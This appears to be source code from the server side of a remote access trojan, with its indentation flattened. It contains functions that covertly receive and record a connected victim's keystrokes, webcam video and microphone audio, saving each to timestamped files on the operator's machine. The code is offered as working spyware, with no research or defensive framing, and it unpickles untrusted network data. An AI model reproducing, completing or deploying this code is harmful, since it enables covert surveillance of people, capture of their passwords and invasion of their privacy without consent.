def Talk(ip, port, encoding): try: headersize = 10 new_msg = True msg_len = 0 full_msg = b'' msg = b'next' e = Encryption() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) CHUNK = 81920 FORMAT = pyaudio.paInt16 CHANNELS = 2 RATE = 44100 p = pyaudio.PyAudio() stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK) while True: try: talk_msg = s.recv(81920) if new_msg: msg_len = int(talk_msg[:headersize]) new_msg = False full_msg += talk_msg if len(full_msg) - headersize == msg_len: data = e.do_decrypt(full_msg[headersize:]) data = zlib.decompress(data) data = pickle.loads(data) stream.write(data) real_msg = pickle.dumps(msg) real_msg = zlib.compress(real_msg, 1) real_msg = e.do_encrypt(real_msg) final_msg = bytes(f'{len(msg):<{headersize}}', encoding) + msg s.send(final_msg) new_msg = True msg_len = 0 full_msg = b'' except: stream.stop_stream() stream.close() p.terminate() exit(0) except: exit(0)
def Cam(encoding, path, user, quality): try: global cam_settings FRAMES = 5.0 headersize = 10 new_msg = True msg_len = 0 full_msg = b'' msg = b'next' r = random.randint(0, 1000000) e = Encryption() client, addr = s.accept() u = (user, client, addr) cam_settings.append(u) real_msg = pickle.dumps(msg) real_msg = zlib.compress(real_msg, 1) real_msg = e.do_encrypt(real_msg) final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg client.send(final_msg) fourcc = cv2.VideoWriter_fourcc(*'XVID') out = cv2.VideoWriter( f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S")}.avi', fourcc, FRAMES, quality) while True: try: client_msg = client.recv(81920) if new_msg: msg_len = int(client_msg[:headersize]) new_msg = False full_msg += client_msg if len(full_msg) - headersize == msg_len: frame = e.do_decrypt(full_msg[headersize:]) frame = zlib.decompress(frame) frame = pickle.loads(frame) cv2.namedWindow(f'{user}\'s live cam. {r}', cv2.WINDOW_NORMAL) cv2.imshow(f'{user}\'s live cam. {r}', frame) out.write(frame) if cv2.waitKey(1) == 27: client.close() break real_msg = pickle.dumps(msg) real_msg = zlib.compress(real_msg, 1) real_msg = e.do_encrypt(real_msg) final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg client.send(final_msg) new_msg = True msg_len = 0 full_msg = b'' except: cam_settings.remove(u) out.release() exit(0) cam_settings.remove(u) out.release() except: exit(0)
def Keylogger(encoding, path, user): try: global keylogger_settings fn = f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S)")}.txt' first = True headersize = 10 new_msg = True msg_len = 0 full_msg = b'' msg = b'next' e = Encryption() client, addr = s.accept() u = (user, client, addr, fn) keylogger_settings.append(u) with open(fn, 'a') as f: f.write(f'Logging key strokes of {user}... [{time.strftime("%Y-%m-%d (%H-%M-%S)")}]\n\n') f.flush() real_msg = pickle.dumps(msg) real_msg = zlib.compress(real_msg, 1) real_msg = e.do_encrypt(real_msg) final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg client.send(final_msg) while True: client_msg = client.recv(1024) if new_msg: msg_len = int(client_msg[:headersize]) new_msg = False full_msg += client_msg if len(full_msg)-headersize == msg_len: log = e.do_decrypt(full_msg[headersize:]) log = zlib.decompress(log) log = pickle.loads(log) result = '' key = log.replace("'", '') t = time.strftime("%Y-%m-%d (%H-%M-%S): ") if first: if 'Key.space' not in log or 'Key.enter' not in log: result = t first = False if len(key) > 1: result += f'[{key}]' else: result += key if 'Key.space' in log or 'Key.enter' in log: result = f'\n{t}{result}' f.write(result) f.flush() real_msg = pickle.dumps(msg) real_msg = zlib.compress(real_msg, 1) real_msg = e.do_encrypt(real_msg) final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg client.send(final_msg) new_msg = True msg_len = 0 full_msg = b'' except: keylogger_settings.remove(u) exit(0)
def Audio(encoding, path, user): try: global audio_settings CHUNK = 81920 FORMAT = pyaudio.paInt16 CHANNELS = 2 RATE = 44100 headersize = 10 new_msg = True msg_len = 0 full_msg = b'' msg = b'next' e = Encryption() client, addr = s.accept() u = (user, client, addr) audio_settings.append(u) real_msg = pickle.dumps(msg) real_msg = zlib.compress(real_msg, 1) real_msg = e.do_encrypt(real_msg) final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg client.send(final_msg) p = pyaudio.PyAudio() stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK) frames = [] while True: try: client_msg = client.recv(81920) if new_msg: msg_len = int(client_msg[:headersize]) new_msg = False full_msg += client_msg if len(full_msg) - headersize == msg_len: frame = e.do_decrypt(full_msg[headersize:]) frame = zlib.decompress(frame) frame = pickle.loads(frame) stream.write(frame) frames.append(frame) real_msg = pickle.dumps(msg) real_msg = zlib.compress(real_msg, 1) real_msg = e.do_encrypt(real_msg) final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg client.send(final_msg) new_msg = True msg_len = 0 full_msg = b'' except: audio_settings.remove(u) waveFile = wave.open( f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S)")}.wav', 'wb') waveFile.setnchannels(CHANNELS) waveFile.setsampwidth(p.get_sample_size(FORMAT)) waveFile.setframerate(RATE) waveFile.writeframes(b''.join(frames)) waveFile.close() exit(0) except: exit(0)